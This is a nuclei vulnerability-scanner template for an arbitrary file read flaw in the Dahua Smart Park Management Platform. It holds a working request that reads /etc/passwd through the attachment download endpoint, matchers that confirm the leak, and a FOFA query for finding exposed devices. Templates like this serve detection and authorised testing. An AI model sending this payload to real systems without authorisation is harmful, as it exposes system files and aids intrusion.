nuclei-templates/http/vulnerabilities/dahua/dahua-wpms-lfi.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

2023-12-04 05:11:04 +00:00
id: dahua-wpms-lfi
info:
name: Dahua Smart Park Management Platform - Arbitary File Read
author: DhiyaneshDk
severity: high
2024-01-02 15:45:12 +00:00
description: Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
2023-12-04 05:11:04 +00:00
reference:
- https://mp.weixin.qq.com/s/uRhVl2XC5fTNKO8eDFFebA
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua_zhyq_attachment_fileread.py
metadata:
2023-12-04 08:25:03 +00:00
verified: true
max-request: 1
2023-12-04 05:11:04 +00:00
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: lfi,dahua,wpms
http:
- method: GET
path:
- "{{BaseURL}}/portal/itc/attachment_downloadByUrlAtt.action?filePath=file:/etc/passwd"
matchers-condition: and
matchers:
- type: word
part: header
words:
- filename=passwd
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402202021ad1f393231463650b6c439cc746d1b6cfc7860612c4566124c11943edfef02206bdf56052b56bc62d4f2b47b15d3c9a6ca1ea463219248180c93d30612cf4a27:922c64590222798bb761d5b6d8e72950